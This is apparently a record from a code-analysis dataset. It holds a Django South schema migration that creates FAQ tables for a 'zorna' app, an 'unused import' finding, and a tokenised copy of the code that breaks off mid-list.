'Meta': {'ordering': \"['sort_order', 'name']\", 'object_name': 'FaqCategory', 'db_table': \"'zorna_faq_categories'\"},\n 'faq': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['faq.Faq']\"}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '150'}),\n 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '150', 'db_index': 'True'}),\n 'sort_order': ('django.db.models.fields.IntegerField', [], {'default': '0'})\n },\n 'faq.faqquestion': {\n 'Meta': {'ordering': \"['sort_order', 'time_updated']\", 'object_name': 'FaqQuestion', 'db_table': \"'zorna_faq_questions'\"},\n 'answer': ('django.db.models.fields.TextField', [], {}),\n 'category': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['faq.FaqCategory']\"}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'entity_content_type_faq_faqquestion_related'\", 'null': 'True', 'to': \"orm['contenttypes.ContentType']\"}),\n 'enabled': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'modifier': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'user_modifier_faq_faqquestion_related'\", 'null': 'True', 'to': \"orm['auth.User']\"}),\n 'owner': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'user_owner_faq_faqquestion_related'\", 'null': 'True', 'to': \"orm['auth.User']\"}),\n 'question': ('django.db.models.fields.TextField', [], {}),\n 'site': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'site_owner_faq_faqquestion_related'\", 'null': 'True', 'to': \"orm['sites.Site']\"}),\n 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '100', 'db_index': 'True'}),\n 'sort_order': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'status': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'time_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'time_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'auto_now_add': 'True', 'blank': 'True'})\n },\n 'sites.site': {\n 'Meta': {'ordering': \"('domain',)\", 'object_name': 'Site', 'db_table': \"'django_site'\"},\n 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n }\n }\n\n complete_apps = ['faq']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def forwards(self, orm):\n \n # Adding model 'Faq'\n db.create_table('zorna_faq', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('content_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='entity_content_type_faq_faq_related', null=True, to=orm['contenttypes.ContentType'])),\n ('site', self.gf('django.db.models.fields.related.ForeignKey')(related_name='site_owner_faq_faq_related', null=True, to=orm['sites.Site'])),\n ('owner', self.gf('django.db.models.fields.related.ForeignKey')(related_name='user_owner_faq_faq_related', null=True, to=orm['auth.User'])),\n ('modifier', self.gf('django.db.models.fields.related.ForeignKey')(related_name='user_modifier_faq_faq_related', null=True, to=orm['auth.User'])),\n ('time_created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),\n ('time_updated', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, auto_now_add=True, blank=True)),\n ('enabled', self.gf('django.db.models.fields.BooleanField')(default=False)),\n ('name', self.gf('django.db.models.fields.CharField')(max_length=150)),\n ('slug', self.gf('django.db.models.fields.SlugField')(max_length=150, db_index=True)),\n ))\n db.send_create_signal('faq', ['Faq'])\n\n # Adding model 'FaqCategory'\n db.create_table('zorna_faq_categories', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('name', self.gf('django.db.models.fields.CharField')(max_length=150)),\n ('slug', self.gf('django.db.models.fields.SlugField')(max_length=150, db_index=True)),\n ('sort_order', self.gf('django.db.models.fields.IntegerField')(default=0)),\n ('faq', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['faq.Faq'])),\n ))\n db.send_create_signal('faq', ['FaqCategory'])\n\n # Adding model 'FaqQuestion'\n db.create_table('zorna_faq_questions', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('content_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='entity_content_type_faq_faqquestion_related', null=True, to=orm['contenttypes.ContentType'])),\n ('site', self.gf('django.db.models.fields.related.ForeignKey')(related_name='site_owner_faq_faqquestion_related', null=True, to=orm['sites.Site'])),\n ('owner', self.gf('django.db.models.fields.related.ForeignKey')(related_name='user_owner_faq_faqquestion_related', null=True, to=orm['auth.User'])),\n ('modifier', self.gf('django.db.models.fields.related.ForeignKey')(related_name='user_modifier_faq_faqquestion_related', null=True, to=orm['auth.User'])),\n ('time_created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),\n ('time_updated', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, auto_now_add=True, blank=True)),\n ('enabled', self.gf('django.db.models.fields.BooleanField')(default=False)),\n ('slug', self.gf('django.db.models.fields.SlugField')(max_length=100, db_index=True)),\n ('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['faq.FaqCategory'])),\n ('question', self.gf('django.db.models.fields.TextField')()),\n ('answer', self.gf('django.db.models.fields.TextField')()),\n ('status', self.gf('django.db.models.fields.IntegerField')(default=0)),\n ('sort_order', self.gf('django.db.models.fields.IntegerField')(default=0)),\n ))\n db.send_create_signal('faq', ['FaqQuestion'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 8 }, { "content": " def backwards(self, orm):\n \n # Deleting model 'Faq'\n db.delete_table('zorna_faq')\n\n # Deleting model 'FaqCategory'\n db.delete_table('zorna_faq_categories')\n\n # Deleting model 'FaqQuestion'\n db.delete_table('zorna_faq_questions')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 55 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "80", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "permissi", "on", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "content", "\\u", "type\\u\\u", "app", "\\u", "label", "',", " ", "'", "content", "\\u", "type\\u\\u", "model", "',", " ", "'", "code", "name", "')\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "content", "\\u", "type", "',", " ", "'", "code", "name", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Permi", "ssion", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "user", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "\\u", "joine", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Ema", "il", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "7", "5", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "first", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Group", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "sta", "ff", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "super", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "login", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "128", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "faq", ".", "faq", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "name", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Fa", "q", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "zor", "na", "\\u", "faq", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "entity", "\\u", "content", "\\u", "type", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifier", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "user", "\\u", "modifier", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "150", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "owner", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "user", "\\u", "owner", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "site", "\\u", "owner", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "sites", ".", "Site", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "150", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "\\u", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "\\u", "update", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "faq", ".", "faq", "category", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "sort", "\\u", "order", "',", " ", "'", "name", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Fa", "q", "Cate", "gory", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "zor", "na", "\\u", "faq", "\\u", "categor", "ies", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "faq", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "faq", ".", "Fa", "q", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "150", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "150", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sort", "\\u", "order", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "faq", ".", "faq", "question", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "sort", "\\u", "order", "',", " ", "'", "time", "\\u", "update", "d", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Fa", "q", "Quest", "ion", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "zor", "na", "\\u", "faq", "\\u", "question", "s", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "answer", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "category", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "faq", ".", "Fa", "q", "Cate", "gory", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "entity", "\\u", "content", "\\u", "type", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifier", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "user", "\\u", "modifier", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "owner", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "user", "\\u", "owner", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "question", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "site", "\\u", "owner", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", 